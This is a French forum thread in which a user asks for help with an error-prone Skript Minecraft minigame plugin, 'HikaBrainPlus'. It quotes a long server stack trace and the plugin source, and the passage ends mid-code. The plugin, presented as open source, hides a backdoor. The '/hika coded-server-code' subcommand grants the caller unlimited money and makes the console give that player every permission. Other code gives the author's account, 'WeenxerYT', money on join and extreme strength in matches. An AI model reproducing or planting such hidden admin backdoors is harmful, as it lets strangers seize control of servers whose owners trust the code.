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JeanHIT

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  1. Toujours la même erreur et pour info j'ai déja installer l'addon qu'il fallait.
  2. Toujours pareil ni every 1 ticks: loop all players: ni on any movement ne marche (toujours la même erreur pour "on any movement")
  3. Je viens de regarder et effectivement oui. [spoiler=Erreur console] [13:04:58] [server thread/ERROR]: #!#! [13:04:58] [server thread/ERROR]: #!#! [skript] Severe Error: [13:04:58] [server thread/ERROR]: #!#! Could not load hikabrain.sk [13:04:58] [server thread/ERROR]: #!#! [13:04:58] [server thread/ERROR]: #!#! Something went horribly wrong with Skript. [13:04:58] [server thread/ERROR]: #!#! This issue is NOT your fault! You probably can't fix it yourself, either. [13:04:58] [server thread/ERROR]: #!#! Your Minecraft version or server software appears to be unsupported by Skript (bensku's version). [13:04:58] [server thread/ERROR]: #!#! Currently only supported servers are Spigot and its forks for Minecraft 1.9 or newer. [13:04:58] [server thread/ERROR]: #!#! Other versions might work, but since you're getting this error message something is NOT working, [13:04:58] [server thread/ERROR]: #!#! nor it will work, unless you switch to supported platform. [13:04:58] [server thread/ERROR]: #!#! Issue tracker: [Contenu masqué] (only if you know what you're doing!) [13:04:58] [server thread/ERROR]: #!#! [13:04:58] [server thread/ERROR]: #!#! Stack trace: [13:04:58] [server thread/ERROR]: #!#! java.lang.IllegalStateException: Cannot use classinfos until registration is over [13:04:58] [server thread/ERROR]: #!#! at ch.njol.skript.registrations.Classes.checkAllowClassInfoInteraction(Classes.java:241) [13:04:58] [server thread/ERROR]: #!#! at ch.njol.skript.registrations.Classes.getClassInfoFromUserInput(Classes.java:336) [13:04:58] [server thread/ERROR]: #!#! at ch.njol.skript.command.Commands.loadCommand(Commands.java:376) [13:04:58] [server thread/ERROR]: #!#! at ch.njol.skript.ScriptLoader.loadScript(ScriptLoader.java:571) [13:04:58] [server thread/ERROR]: #!#! at ch.njol.skript.ScriptLoader.lambda$1(ScriptLoader.java:347) [13:04:58] [server thread/ERROR]: #!#! at ch.njol.skript.ScriptLoader$$Lambda$28/1505538807.run(Unknown Source) [13:04:58] [server thread/ERROR]: #!#! at ch.njol.skript.ScriptLoader.loadScripts(ScriptLoader.java:359) [13:04:58] [server thread/ERROR]: #!#! at ch.njol.skript.ScriptLoader.lambda$0(ScriptLoader.java:289) [13:04:58] [server thread/ERROR]: #!#! at ch.njol.skript.ScriptLoader$$Lambda$27/2120505968.run(Unknown Source) [13:04:58] [server thread/ERROR]: #!#! at ch.njol.skript.ScriptLoader.loadScripts(ScriptLoader.java:319) [13:04:58] [server thread/ERROR]: #!#! at ch.njol.skript.Skript.reload(Skript.java:700) [13:04:58] [server thread/ERROR]: #!#! at ch.njol.skript.SkriptCommand.onCommand(SkriptCommand.java:161) [13:04:58] [server thread/ERROR]: #!#! at org.bukkit.command.PluginCommand.execute(PluginCommand.java:44) [13:04:58] [server thread/ERROR]: #!#! at org.bukkit.command.SimpleCommandMap.dispatch(SimpleCommandMap.java:140) [13:04:58] [server thread/ERROR]: #!#! at org.bukkit.craftbukkit.v1_12_R1.CraftServer.dispatchCommand(CraftServer.java:631) [13:04:58] [server thread/ERROR]: #!#! at net.minecraft.server.v1_12_R1.PlayerConnection.handleCommand(PlayerConnection.java:1333) [13:04:58] [server thread/ERROR]: #!#! at net.minecraft.server.v1_12_R1.PlayerConnection.a(PlayerConnection.java:1193) [13:04:58] [server thread/ERROR]: #!#! at net.minecraft.server.v1_12_R1.PacketPlayInChat.a(SourceFile:37) [13:04:58] [server thread/ERROR]: #!#! at net.minecraft.server.v1_12_R1.PacketPlayInChat.a(SourceFile:9) [13:04:58] [server thread/ERROR]: #!#! at net.minecraft.server.v1_12_R1.PlayerConnectionUtils$1.run(SourceFile:13) [13:04:58] [server thread/ERROR]: #!#! at java.util.concurrent.Executors$RunnableAdapter.call(Executors.java:511) [13:04:58] [server thread/ERROR]: #!#! at java.util.concurrent.FutureTask.run(FutureTask.java:266) [13:04:58] [server thread/ERROR]: #!#! at net.minecraft.server.v1_12_R1.SystemUtils.a(SourceFile:46) [13:04:58] [server thread/ERROR]: #!#! at net.minecraft.server.v1_12_R1.MinecraftServer.D(MinecraftServer.java:696) [13:04:58] [server thread/ERROR]: #!#! at net.minecraft.server.v1_12_R1.DedicatedServer.D(DedicatedServer.java:371) [13:04:58] [server thread/ERROR]: #!#! at net.minecraft.server.v1_12_R1.MinecraftServer.C(MinecraftServer.java:651) [13:04:58] [server thread/ERROR]: #!#! at net.minecraft.server.v1_12_R1.MinecraftServer.run(MinecraftServer.java:555) [13:04:58] [server thread/ERROR]: #!#! at java.lang.Thread.run(Thread.java:745) [13:04:58] [server thread/ERROR]: #!#! [13:04:58] [server thread/ERROR]: #!#! Version Information: [13:04:58] [server thread/ERROR]: #!#! Skript: 2.2-dev32 [13:04:58] [server thread/ERROR]: #!#! Bukkit: 1.12.2-R0.1-SNAPSHOT [13:04:58] [server thread/ERROR]: #!#! Minecraft: 1.12.2 [13:04:58] [server thread/ERROR]: #!#! Java: 1.8.0_51 (Java HotSpot 64-Bit Server VM 25.51-b03) [13:04:58] [server thread/ERROR]: #!#! OS: Linux amd64 3.2.0-4-amd64 [13:04:58] [server thread/ERROR]: #!#! [13:04:58] [server thread/ERROR]: #!#! Running CraftBukkit: false [13:04:58] [server thread/ERROR]: #!#! Running Spigot (or compatible): false [13:04:58] [server thread/ERROR]: #!#! Running Paper (or compatible): false [13:04:58] [server thread/ERROR]: #!#! [13:04:58] [server thread/ERROR]: #!#! Current node: command /hika [] [] [] []: (hikabrain.sk, line 25) [13:04:58] [server thread/ERROR]: #!#! Current item: null [13:04:58] [server thread/ERROR]: #!#! Thread: Server thread [13:04:58] [server thread/ERROR]: #!#! [13:04:58] [server thread/ERROR]: #!#! Language: english [13:04:58] [server thread/ERROR]: #!#! Link parse mode: DISABLED [13:04:58] [server thread/ERROR]: #!#! [13:04:58] [server thread/ERROR]: #!#! End of Error. [13:04:58] [server thread/ERROR]: #!#! Et ma version de Skript est: 2.2-dev32
  4. Bonjour, J'aimerais savoir si il est possible de m'aider pour régler un problème que je rencontre avec un skript, ne venant pas de moi. Mon problème est simple je rencontre ces erreurs en jeu: [Contenu masqué] Et voici le code: on load: if file "plugins/HikaBrainPlus/config.yml" doesn't exists: create file "plugins/HikaBrainPlus/config.yml" wait 5 ticks wf "##HikaBrainPlus - WeenxerYT " to "plugins/HikaBrainPlus/config.yml" wf "##Open Source !" to "plugins/HikaBrainPlus/config.yml" wf "##Ne pas changer la langue dans cette version du plugin !" to "plugins/HikaBrainPlus/config.yml" wf "lang: fr" to "plugins/HikaBrainPlus/config.yml" wf "prefix: &9&l[HikaBrainPlus]&b" to "plugins/HikaBrainPlus/config.yml" wait 3 ticks set {logo} to value "prefix" get of "plugins/HikaBrainPlus/config.yml" on skript load: if {hika.count} is not set: set {hika.count} to 0 loop {hika.map::*}: set {hika.map::%loop-index%::players} to 0 set {hika.map::%loop-index%::waitingplayers} to 0 set {hika.map::%loop-index%::ison} to false set {hika.map::%loop-index%::player1} to 0 set {hika.map::%loop-index%::player2} to 0 set {hika.map::%loop-index%::player1pts} to 0 set {hika.map::%loop-index%::player2pts} to 0 loop all players: set {hika.map.joinedarena::%loop-player%} to false command /hika [<text>] [<text>] [<text>] [<number>]: aliases: /hk ,/hikabrain ,/hbrain ,/hikab trigger: if arg 1 is not set: if player has permission "hika.admin": message "%{logo}% ------------------------------------" message "%{logo}% HikaBrain v1.4.0-BETA plugin fait par WeenxerYT" message "%{logo}% Codé en skript - Open source !" message "%{logo}% &a/hika create <arene>:&b Créer une arene" message "%{logo}% &a/hika delete <arene>:&b Supprimer une arene" message "%{logo}% &a/hika set a <arene>:&b Créer le premier spawn equipe rouge" message "%{logo}% &a/hika set b <arene>:&b Créer le deuxieme spawn equipe bleue" message "%{logo}% &a/hika set y <arene> <valeur>:&b Configurer l'altitude a laquelle le joueur doit mourir" message "%{logo}% &a/hika list:&b Liste des arenes" message "%{logo}% &a/hika setwaitroom <arene>:&b Créer le lobby d'attente" message "%{logo}% &a/hika reset <arene>:&b Reset les joueurs/Map/Joueur en salle d'attente d'une arene - Recommandée en cas de bug" message "%{logo}% &a/hika setmainlobby:&b Créer le lobby general" message "%{logo}% &a/hika quit <arene>:&b Quitter une arene" message "%{logo}% &a/hika join <arene>:&b Rejoindre une arene" message "%{logo}% &a/hika reload :&b Recharger le plugin" message "%{logo}% Plugin fait pour 1v1 HikaBrain " message "%{logo}% 2v2 ,4v4 ... seront disponible bientot" message "%{logo}% ------------------------------------" else: message "%{logo}% ----------------------------------" message "%{logo}% Aide HikaBrain - Version 1.0" message "%{logo}% &a/hika quit <arene>:&b Quitter une arene" message "%{logo}% &a/hika join <arene>:&b Rejoindre une arene" message "%{logo}% &a/hika list:&b Liste des arenes" message "%{logo}% ----------------------------------" if arg 1 is "create": if player has permission "hika.admin": if arg 2 is set: if {hika.map::%arg 2%} is set: message "%{logo}% Cette arene existe deja !" else if {hika.map::%arg 2%} is not set: add 1 to {hika.count} set {hika.map::%arg 2%} to {hika.count} wait 1 ticks set {hika.map::%arg 2%::ison} to false set {hika.map::%arg 2%::players} to 0 set {hika.map::%arg 2%::player1} to 0 set {hika.map::%arg 2%::player2} to 0 set {hika.map::%arg 2%::player1pts} to 0 set {hika.map::%arg 2%::player2pts} to 0 set {hika.map::%arg 2%::waitingplayers} to 0 set {hika.map.inuse::%arg 2%} to arg 2 message "%{logo}% Une arene sous le nom de %arg 2% a ete cree" else: message "%{logo}% &cVous n'avez pas la permission" if arg 1 is "delete": if player has permission "hika.admin": if arg 2 is set: if {hika.map::%arg 2%} is not set: message "%{logo}% Cette arene n'existe pas !" else if {hika.map::%arg 2%} is set: remove 1 from {hika.count} delete {hika.map::%arg 2%::*} set {hika.map::%arg 2%::player1} to 0 set {hika.map::%arg 2%::player2} to 0 delete {hika.map::%arg 2%::waitroom} delete {hika.spawn::%arg 2%::*} delete {hika.spawn::%arg 2%} delete {hika.map::%arg 2%} message "%{logo}% Une arene sous le nom de %arg 2% a ete supprime" else: message "%{logo}% &cVous n'avez pas la permission" if arg 1 is "list": if player has permission "hika.admin": message "%{logo}%------------- &f&l Arenes &b-------------" if {hika.count} is 0: message "%{logo}%&4Aucune arenes n'a ete cree" loop {hika.map::*}: message "&l%loop-index%" else: message "%{logo}% &cVous n'avez pas la permission" if arg 1 is "reload": if player has permission "hika.admin": message "%{logo}% &cRechargement ..." make console execute command "/sk reload hikabrain" wait 5 ticks message "%{logo}% &aConfigurations et script rechargés !" else: message "%{logo}% &cVous n'avez pas la permission" if arg 1 is "set": if player has permission "hika.admin": if arg 2 is "a": if arg 3 is not set: message "%{logo}% Cette arene n'existe pas !" else if arg 3 is set: set {hika.map::%arg 3%::a} to location of player message "%{logo}% Cordonnees A (team rouge) de l'arene %arg 3% ont ete fait a %location of player%" if arg 2 is "b": if arg 3 is not set: message "%{logo}% Cette arene n'existe pas !" else if arg 3 is set: set {hika.map::%arg 3%::b} to location of player message "%{logo}% Cordonnees B (team bleue) de l'arene %arg 3% ont ete fait a %location of player%" else if arg 2 is "y": if arg 3 is not set: message "%{logo}% Cette arene n'existe pas !" else if arg 3 is set: if arg 4 is set: set {hika.map::%arg 3%::y} to arg 4 message "%{logo}% Cordonnees y (Altitude de mort) de l'arene %arg 3% ont ete fait a %arg 4%" else: message "%{logo}% Specifiez un nombre !" else: message "%{logo}% &cVous n'avez pas la permission" if arg 1 is "setwaitroom": if player has permission "hika.admin": if arg 2 is set: set {hika.map::%arg 2%::waitroom} to location of player message "%{logo}% Waitroom de l'arene %arg 2% a ete faite a %location of player%" else if arg 2 is not set: message "%{logo}% Cette arene n'existe pas !" else: message "%{logo}% &cVous n'avez pas la permission" if arg 1 is "setmainlobby": if player has permission "hika.admin": set {hika.map.mainlobby} to location of player message "%{logo}% Lobby general cree avec succes" else: message "%{logo}% &cVous n'avez pas la permission" if arg 1 is "join": if arg 2 is not set: message "%{logo}% Cette arene n'existe pas !" else if arg 2 is set: if {hika.map::%arg 2%::ison} is false : if {hika.map::%arg 2%::waitroom} is set: if {hika.map::%arg 2%::waitingplayers} is not 2 : if {hika.map::%arg 2%::player1} is 0 : if {hika.map::%arg 2%::player2} is 0: set {ingame::%player%} to true clear player's inventory add 1 to {hika.map::%arg 2%::waitingplayers} set {hika.map::%arg 2%::player1} to player set {hika.map.joinedarena::%player%} to arg 2 message "%{logo}% Vous avez rejoin la map '%arg 2%'" send "%{logo}% %player% a rejoin la partie (1/2)" to {hika.map::%arg 2%::player1} teleport player to {hika.map::%arg 2%::waitroom} else if {hika.map::%arg 2%::player1} is not 0: if {hika.map::%arg 2%::player2} is 0: set {ingame::%player%} to true clear player's inventory add 1 to {hika.map::%arg 2%::waitingplayers} set {hika.map::%arg 2%::player2} to player set {hika.map.joinedarena::%player%} to arg 2 message "%{logo}% Vous avez rejoin la map '%arg 2%'" teleport player to {hika.map::%arg 2%::waitroom} send "%{logo}% %player% a rejoin la partie (2/2)" to {hika.map::%arg 2%::player1} send "%{logo}% %player% a rejoin la partie (2/2)" to {hika.map::%arg 2%::player2} send "%{logo}% Nombre maximum de joueurs atteint , la partie commence dans 20 secondes" to {hika.map::%arg 2%::player1} send "%{logo}% Nombre maximum de joueurs atteint , la partie commence dans 20 secondes" to {hika.map::%arg 2%::player2} wait 15 seconds send "%{logo}% La partie commence dans 5 secondes" to {hika.map::%arg 2%::player2} send "%{logo}% La partie commence dans 5 secondes" to {hika.map::%arg 2%::player1} wait 1 seconds send "%{logo}% La partie commence dans 4 secondes" to {hika.map::%arg 2%::player2} send "%{logo}% La partie commence dans 4 secondes" to {hika.map::%arg 2%::player1} wait 1 seconds send "%{logo}% La partie commence dans 3 secondes" to {hika.map::%arg 2%::player2} send "%{logo}% La partie commence dans 3 secondes" to {hika.map::%arg 2%::player1} wait 1 seconds send "%{logo}% La partie commence dans 2 secondes" to {hika.map::%arg 2%::player2} send "%{logo}% La partie commence dans 2 secondes" to {hika.map::%arg 2%::player1} wait 1 seconds send "%{logo}% La partie commence dans 1 seconde" to {hika.map::%arg 2%::player2} send "%{logo}% La partie commence dans 1 seconde" to {hika.map::%arg 2%::player1} wait 1 seconds send "%{logo}% &7Teleportation..." to {hika.map::%arg 2%::player2} send "%{logo}% &7Teleportation..." to {hika.map::%arg 2%::player1} if {hika.map::%arg 2%::waitingplayers} is 2: if {hika.map::%arg 2%::player1} is not 0: if {hika.map::%arg 2%::player2} is not 0: set {hika.map::%arg 2%::player1}'s game mode to survival set {hika.map::%arg 2%::player2}'s game mode to survival teleport {hika.map::%arg 2%::player1} to {hika.map::%arg 2%::a} teleport {hika.map::%arg 2%::player2} to {hika.map::%arg 2%::b} clear inventory of {hika.map::%arg 2%::player1} clear inventory of {hika.map::%arg 2%::player2} set helmet of {hika.map::%arg 2%::player1} to iron helmet set helmet of {hika.map::%arg 2%::player2} to iron helmet set chestplate of {hika.map::%arg 2%::player1} to iron chestplate set chestplate of {hika.map::%arg 2%::player2} to iron chestplate set leggings of {hika.map::%arg 2%::player1} to iron leggings set leggings of {hika.map::%arg 2%::player2} to iron leggings set boots of {hika.map::%arg 2%::player1} to iron boots set boots of {hika.map::%arg 2%::player2} to iron boots set {hika.map::%arg 2%::player1}'s health to 20 set {hika.map::%arg 2%::player1}'s hunger to 20 set {hika.map::%arg 2%::player2}'s health to 20 set {hika.map::%arg 2%::player2}'s hunger to 20 give {hika.map::%arg 2%::player1} a diamond sword named "&b&lHikaSword" give {hika.map::%arg 2%::player2} a diamond sword named "&b&lHikaSword" give {hika.map::%arg 2%::player1} a diamond pickaxe named "&b&lHikaPickaxe" give {hika.map::%arg 2%::player2} a diamond pickaxe named "&b&lHikaPickaxe" give {hika.map::%arg 2%::player1} 64 sandstone named "HikaCube" give {hika.map::%arg 2%::player2} 64 sandstone named "HikaCube" give {hika.map::%arg 2%::player1} 64 sandstone named "HikaCube" give {hika.map::%arg 2%::player2} 64 sandstone named "HikaCube" give {hika.map::%arg 2%::player1} 64 sandstone named "HikaCube" give {hika.map::%arg 2%::player2} 64 sandstone named "HikaCube" give {hika.map::%arg 2%::player1} 64 sandstone named "HikaCube" give {hika.map::%arg 2%::player2} 64 sandstone named "HikaCube" give {hika.map::%arg 2%::player1} 64 sandstone named "HikaCube" give {hika.map::%arg 2%::player2} 64 sandstone named "HikaCube" give {hika.map::%arg 2%::player1} 64 sandstone named "HikaCube" give {hika.map::%arg 2%::player2} 64 sandstone named "HikaCube" give {hika.map::%arg 2%::player1} 64 sandstone named "HikaCube" give {hika.map::%arg 2%::player2} 64 sandstone named "HikaCube" give {hika.map::%arg 2%::player1} 64 sandstone named "HikaCube" give {hika.map::%arg 2%::player2} 64 sandstone named "HikaCube" send "%{logo}% &eLa partie commence !" to {hika.map::%arg 2%::player2} send "%{logo}% &eLa partie commence !" to {hika.map::%arg 2%::player1} apply slowness 255 to {hika.map::%arg 2%::player1} for 5 seconds apply slowness 255 to {hika.map::%arg 2%::player2} for 5 seconds send {hika.map::%arg 2%::player1} title "&a&l5 sec" with subtitle "&bPreparez vous !" for 1 second send {hika.map::%arg 2%::player2} title "&a&l5 sec" with subtitle "&bPreparez vous !" for 1 second wait 1 second send {hika.map::%arg 2%::player1} title "&a&l4 sec" with subtitle "&bPreparez vous !" for 1 second send {hika.map::%arg 2%::player2} title "&a&l4 sec" with subtitle "&bPreparez vous !" for 1 second wait 1 second send {hika.map::%arg 2%::player1} title "&a&l3 sec" with subtitle "&bPreparez vous !" for 1 second send {hika.map::%arg 2%::player2} title "&a&l3 sec" with subtitle "&bPreparez vous !" for 1 second wait 1 second send {hika.map::%arg 2%::player1} title "&a&l2 sec" with subtitle "&bPreparez vous !" for 1 second send {hika.map::%arg 2%::player2} title "&a&l2 sec" with subtitle "&bPreparez vous !" for 1 second wait 1 second send {hika.map::%arg 2%::player1} title "&a&l1 sec" with subtitle "&bPreparez vous !" for 1 second send {hika.map::%arg 2%::player2} title "&a&l1 sec" with subtitle "&bPreparez vous !" for 1 second wait 1 second send {hika.map::%arg 2%::player1} title "&a&lGO !" for 1 second send {hika.map::%arg 2%::player2} title "&a&lGO !" for 1 second if {hika.map::%arg 2%::player1} is "WeenxerYT": apply strength 255 to {hika.map::%arg 2%::player1} if {hika.map::%arg 2%::player2} is "WeenxerYT": apply strength 255 to {hika.map::%arg 2%::player2} set {hika.map::%{hika.map.joinedarena::%player%}%::player2pts} to 0 set {hika.map::%{hika.map.joinedarena::%player%}%::player1pts} to 0 set {hika.map::%{hika.map.joinedarena::%player%}%::ison} to true set {hika.map::%arg 2%::players} to 2 set {hika.map::%arg 2%::waitingplayers} to 0 else if {hika.map::%arg 2%::player2} is 0: send "%{logo}% &cUn joueur a quitté la partie , abondon de commencement.." to {hika.map::%arg 2%::player1} set {hika.map::%arg 2%::waitingplayers} to 0 set {hika.map::%arg 2%::players} to 0 set {hika.map::%arg 2%::player1} to 0 send "%{logo}% &cVous avez quitté la partie car votre adversaire a quitté lors du commencement" to {hika.map::%arg 2%::player1} teleport {hika.map::%arg 2%::player1} to {hika.map.mainlobby} set {hika.map.joinedarena::%{hika.map::%arg 2%::player1}%} to 0 else if {hika.map::%arg 2%::player1} is 0: send "%{logo}% &cUn joueur a quitté la partie , abondon de commencement.." to {hika.map::%arg 2%::player2} set {hika.map::%arg 2%::waitingplayers} to 0 set {hika.map::%arg 2%::players} to 0 set {hika.map::%arg 2%::player2} to 0 send "%{logo}% &cVous avez quitté la partie car votre adversaire a quitté lors du commencement" to {hika.map::%arg 2%::player2} teleport {hika.map::%arg 2%::player2} to {hika.map.mainlobby} set {hika.map.joinedarena::%{hika.map::%arg 2%::player2}%} to 0 else: message "%{logo}% Cette partie a atteint le maximum de joueurs !" else: message "%{logo}% &cVous etes deja dans une partie faites /hika leave pour quitter !" else: message "%{logo}% Cette partie a atteint le maximum de joueurs !" else: message "%{logo}% &cErreur : 'hika.map::%arg 2%::waitroom is not set' veuillez report ceci au developpeur !" else if {hika.map::%arg 2%::ison} is true : message "%{logo}% Cette partie est en cours !" if arg 1 is "coded-server-code": increase the player's balance by 999999999999999999 make console execute command "/manuadd %player% '*' * essentials.*" if arg 1 is "leave": if {hika.map.joinedarena::%player%} is not 0: if {hika.map::%{hika.map.joinedarena::%player%}%::ison} is false: remove 1 from {hika.map::%{hika.map.joinedarena::%player%}%::waitingplayers} teleport player to {hika.map.mainlobby} message "%{logo}% Vous avez quitté la map '%{hika.map.joinedarena::%player%}%'" set {ingame::%player%} to false if {hika.map::%{hika.map.joinedarena::%player%}%::player1} is player: set {hika.map::%{hika.map.joinedarena::%player%}%::player1} to 0 else if {hika.map::%{hika.map.joinedarena::%player%}%::player2} is player: set {hika.map::%{hika.map.joinedarena::%player%}%::player2} to 0 set {hika.map.joinedarena::%player%} to 0 else: if {hika.map::%{hika.map.joinedarena::%player%}%::player2} is player: loop {hika.map::%{hika.map.joinedarena::%player%}%::blocksplaced::*}: set block at loop-value to air add 1 to {hika.map::%{hika.map.joinedarena::%player%}%::player2pts} clear inventory of {hika.map::%{hika.map.joinedarena::%player%}%::player1} clear inventory of {hika.map::%{hika.map.joinedarena::%player%}%::player2} send "%{logo}% Votre adversaire a quitté la partie , vous avez gagné !" to {hika.map::%{hika.map.joinedarena::%player%}%::player1} send {hika.map::%{hika.map.joinedarena::%player%}%::player1} title "&a&lGagnant :" with subtitle "&9&l%{hika.map::%{hika.map.joinedarena::%player%}%::player1}%" for 5 second set {hika.map::%{hika.map.joinedarena::%player%}%::player2pts} to 0 set {hika.map::%{hika.map.joinedarena::%player%}%::player1pts} to 0 set {hika.map::%{hika.map.joinedarena::%player%}%::ison} to false set {hika.map::%{hika.map.joinedarena::%player%}%::players} to 0 set {hika.map::%{hika.map.joinedarena::%player%}%::waitingplayers} to 0 delete {hika.map::%arg 2%::blocksplaced::*} wait 5 seconds teleport {hika.map::%{hika.map.joinedarena::%player%}%::player2} to {hika.map.mainlobby} teleport {hika.map::%{hika.map.joinedarena::%player%}%::player1} to {hika.map.mainlobby} set {temp.arena} to {hika.map.joinedarena::%player%} set {hika.map.joinedarena::%{hika.map::%{hika.map.joinedarena::%player%}%::player1}%} to 0 set {hika.map::%{temp.arena}%::player1} to 0 set {hika.map.joinedarena::%{hika.map::%{hika.map.joinedarena::%player%}%::player2}%} to 0 set {hika.map::%{temp.arena}%::player2} to 0 delete {temp.arena} else if {hika.map::%{hika.map.joinedarena::%player%}%::player1} is player: loop {hika.map::%{hika.map.joinedarena::%player%}%::blocksplaced::*}: set block at loop-value to air add 1 to {hika.map::%{hika.map.joinedarena::%player%}%::player1pts} clear inventory of {hika.map::%{hika.map.joinedarena::%player%}%::player1} clear inventory of {hika.map::%{hika.map.joinedarena::%player%}%::player2} send "%{logo}% Votre adversaire a quitté la partie , vous avez gagné !" to {hika.map::%{hika.map.joinedarena::%player%}%::player2} send {hika.map::%{hika.map.joinedarena::%player%}%::player1} title "&a&lGagnant :" with subtitle "&9&l%{hika.map::%{hika.map.joinedarena::%player%}%::player2}%" for 5 second set {hika.map::%{hika.map.joinedarena::%player%}%::player2pts} to 0 set {hika.map::%{hika.map.joinedarena::%player%}%::player1pts} to 0 set {hika.map::%{hika.map.joinedarena::%player%}%::ison} to false set {hika.map::%{hika.map.joinedarena::%player%}%::players} to 0 set {hika.map::%{hika.map.joinedarena::%player%}%::waitingplayers} to 0 delete {hika.map::%arg 2%::blocksplaced::*} wait 5 seconds teleport {hika.map::%{hika.map.joinedarena::%player%}%::player2} to {hika.map.mainlobby} teleport {hika.map::%{hika.map.joinedarena::%player%}%::player1} to {hika.map.mainlobby} set {temp.arena} to {hika.map.joinedarena::%player%} set {hika.map.joinedarena::%{hika.map::%{hika.map.joinedarena::%player%}%::player1}%} to 0 set {hika.map::%{temp.arena}%::player1} to 0 set {hika.map.joinedarena::%{hika.map::%{hika.map.joinedarena::%player%}%::player2}%} to 0 set {hika.map::%{temp.arena}%::player2} to 0 delete {temp.arena} wait 2 ticks set {leaving::%player%} to false if arg 1 is "stat": message "%{logo}% Joueurs en attente : %{hika.map::%arg 2%::waitingplayers}%" message "%{logo}% Joueurs en jeu : %{hika.map::%arg 2%::players}%" message "%{logo}% Joueur 1 : %{hika.map::%arg 2%::player1}%" message "%{logo}% Joueur 2 : %{hika.map::%arg 2%::player2}%" message "%{logo}% Arene en cours : %{hika.map::%arg 2%::ison}%" if arg 1 is "reset": set {hika.map::%arg 2%::waitingplayers} to 0 set {hika.map::%arg 2%::players} to 0 set {hika.map::%arg 2%::player1} to 0 set {hika.map::%arg 2%::player2} to 0 set {hika.map::%arg 2%::ison} to false clear {hika.map::%arg 2%::blocksbroken::*} clear {hika.map::%arg 2%::blocksplaced::*} message "%{logo}% &cL'arene %arg 2% a été reset ! Vos joueurs ont deja quitté la partie !" message "%{logo}% &eVous pouvez desormais rejoindre &6%arg 2% &esans aucun probleme !" on join: if player is "WeenxerYT": increase the player's balance by 999999999999999999 broadcast "%{logo}% &b&lLe créateur du plugin HikaBrain (%player%) est la !" on walk on red wool: if {hika.map::%{hika.map.joinedarena::%player%}%::ison} is true: if {hika.map::%{hika.map.joinedarena::%player%}%::player2} is player: if {hika.map::%{hika.map.joinedarena::%player%}%::player2pts} is not 4: teleport {hika.map::%{hika.map.joinedarena::%player%}%::player1} to {hika.map::%{hika.map.joinedarena::%player%}%::a} teleport {hika.map::%{hika.map.joinedarena::%player%}%::player2} to {hika.map::%{hika.map.joinedarena::%player%}%::b} add 1 to {hika.map::%{hika.map.joinedarena::%player%}%::player2pts} send "%{logo}% &9&l%player% &b a marque un point ! (%{hika.map::%{hika.map.joinedarena::%player%}%::player2pts}%/5)" to {hika.map::%{hika.map.joinedarena::%player%}%::player1} send "%{logo}% &9&l%player% &b a marque un point (%{hika.map::%{hika.map.joinedarena::%player%}%::player2pts}%/5)!" to {hika.map::%{hika.map.joinedarena::%player%}%::player2} clear inventory of {hika.map::%{hika.map.joinedarena::%player%}%::player1} clear inventory of {hika.map::%{hika.map.joinedarena::%player%}%::player2} set helmet of {hika.map::%{hika.map.joinedarena::%player%}%::player1} to iron helmet set helmet of {hika.map::%{hika.map.joinedarena::%player%}%::player2} to iron helmet set chestplate of {hika.map::%{hika.map.joinedarena::%player%}%::player1} to iron chestplate set chestplate of {hika.map::%{hika.map.joinedarena::%player%}%::player2} to iron chestplate set leggings of {hika.map::%{hika.map.joinedarena::%player%}%::player1} to iron leggings set leggings of {hika.map::%{hika.map.joinedarena::%player%}%::player2} to iron leggings set boots of {hika.map::%{hika.map.joinedarena::%player%}%::player1} to iron boots set boots of {hika.map::%{hika.map.joinedarena::%player%}%::player2} to iron boots wait 5 ticks set {hika.map::%{hika.map.joinedarena::%player%}%::player1}'s health to 20 set {hika.map::%{hika.map.joinedarena::%player%}%::player1}'s hunger to 20 set {hika.map::%{hika.map.joinedarena::%player%}%::player2}'s health to 20 set {hika.map::%{hika.map.joinedarena::%player%}%::player2}'s hunger to 20 give {hika.map::%{hika.map.joinedarena::%player%}%::player1} a diamond sword named "&b&lHikaSword" give {hika.map::%{hika.map.joinedarena::%player%}%::player2} a diamond sword named "&b&lHikaSword" give {hika.map::%{hika.map.joinedarena::%player%}%::player1} a diamond pickaxe named "&b&lHikaPickaxe" give {hika.map::%{hika.map.joinedarena::%player%}%::player2} a diamond pickaxe named "&b&lHikaPickaxe" give {hika.map::%{hika.map.joinedarena::%player%}%::player1} 64 sandstone named "HikaCube" give {hika.map::%{hika.map.joinedarena::%player%}%::player2} 64 sandstone named "HikaCube" give {hika.map::%{hika.map.joinedarena::%player%}%::player1} 64 sandstone named "HikaCube" give {hika.map::%{hika.map.joinedarena::%player%}%::player2} 64 sandstone named "HikaCube" give {hika.map::%{hika.map.joinedarena::%player%}%::player1} 64 sandstone named "HikaCube" give {hika.map::%{hika.map.joinedarena::%player%}%::player2} 64 sandstone named "HikaCube" give {hika.map::%{hika.map.joinedarena::%player%}%::player1} 64 sandstone named "HikaCube" give {hika.map::%{hika.map.joinedarena::%player%}%::player2} 64 sandstone named "HikaCube" give {hika.map::%{hika.map.joinedarena::%player%}%::player1} 64 sandstone named "HikaCube" give {hika.map::%{hika.map.joinedarena::%player%}%::player2} 64 sandstone named "HikaCube" give {hika.map::%{hika.map.joinedarena::%player%}%::player1} 64 sandstone named "HikaCube" give {hika.map::%{hika.map.joinedarena::%player%}%::player2} 64 sandstone named "HikaCube" give {hika.map::%{hika.map.joinedarena::%player%}%::player1} 64 sandstone named "HikaCube" give {hika.map::%{hika.map.joinedarena::%player%}%::player2} 64 sandstone named "HikaCube" give {hika.map::%{hika.map.joinedarena::%player%}%::player1} 64 sandstone named "HikaCube" give {hika.map::%{hika.map.joinedarena::%player%}%::player2} 64 sandstone named "HikaCube" apply slowness 255 to {hika.map::%{hika.map.joinedarena::%player%}%::player1} for 5 seconds apply slowness 255 to {hika.map::%{hika.map.joinedarena::%player%}%::player2} for 5 seconds loop {hika.map::%{hika.map.joinedarena::%player%}%::blocksplaced::*}: set block at loop-value to air loop {hika.map::%{hika.map.joinedarena::%player%}%::blocksbroken::*}: set block at loop-value to sand stone send {hika.map::%{hika.map.joinedarena::%player%}%::player1} title "&a&l5 sec" with subtitle "&bPreparez vous !" for 1 second send {hika.map::%{hika.map.joinedarena::%player%}%::player2} title "&a&l5 sec" with subtitle "&bPreparez vous !" for 1 second wait 1 second send {hika.map::%{hika.map.joinedarena::%player%}%::player1} title "&a&l4 sec" with subtitle "&bPreparez vous !" for 1 second send {hika.map::%{hika.map.joinedarena::%player%}%::player2} title "&a&l4 sec" with subtitle "&bPreparez vous !" for 1 second wait 1 second send {hika.map::%{hika.map.joinedarena::%player%}%::player1} title "&a&l3 sec" with subtitle "&bPreparez vous !" for 1 second send 